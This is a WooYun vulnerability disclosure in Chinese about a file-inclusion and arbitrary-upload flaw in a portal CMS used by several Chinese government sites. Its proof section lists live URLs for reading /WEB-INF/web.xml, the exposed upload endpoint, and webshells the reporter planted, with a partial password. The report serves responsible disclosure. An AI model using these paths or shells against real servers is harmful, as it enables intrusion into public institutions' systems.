漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-068626
漏洞标题：某门户建站系统任意文件上传影响多个政府
相关厂商：某门户建站系统
漏洞作者： 小川
提交时间：2014-07-15 19:01
修复时间：2014-08-29 19:02
公开时间：2014-08-29 19:02
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-07-15： 细节已通知厂商并且等待厂商处理中
2014-07-20： 厂商已经确认，细节仅向厂商公开
2014-07-30： 细节向核心白帽子及相关领域专家公开
2014-08-09： 细节向普通白帽子公开
2014-08-19： 细节向实习白帽子公开
2014-08-29： 细节向公众公开
简要描述：
文件包含到任意文件上传
详细说明：
漏洞证明：
http://www.wengyuan.gov.cn/website/deptwebsite/0180/Content.jsp?issueId=12483&msgType=00&filePath=/WEB-INF/web.xml
http://www.wengyuan.gov.cn//portal/admin/issue/InsertTitleImage.jsp
http://jw.meizhou.gov.cn/portal/admin/issue/InsertTitleImage.jsp
http://59.39.89.121//portal/admin/issue/InsertTitleImage.jsp
http://zenglingke.com//portal/admin/issue/InsertTitleImage.jsp
还有很多不举例了。
低版本系统上传的shell：
http://59.39.89.121/jsp.jsp?o=vLogin 密码：ccl...
高版本上传的shell:
http://zenglingke.com/jsps.jsp
大马执行错误了，也懒得弄了。
相关厂商嘛，由于这个建站系统都有有一个platform系统：
访问：http://59.39.89.121/platform/
版权所有：
中山大学软件研究所
技术支持：
中山大学软件研究所
修复方案：
低版本升级版本，高版本过滤00截断
版权声明：转载请注明来源 小川@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-07-20 12:15
厂商回复：
最新状态：
暂无
漏洞评价：
评论
-
@疯狗，纳尼？
( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)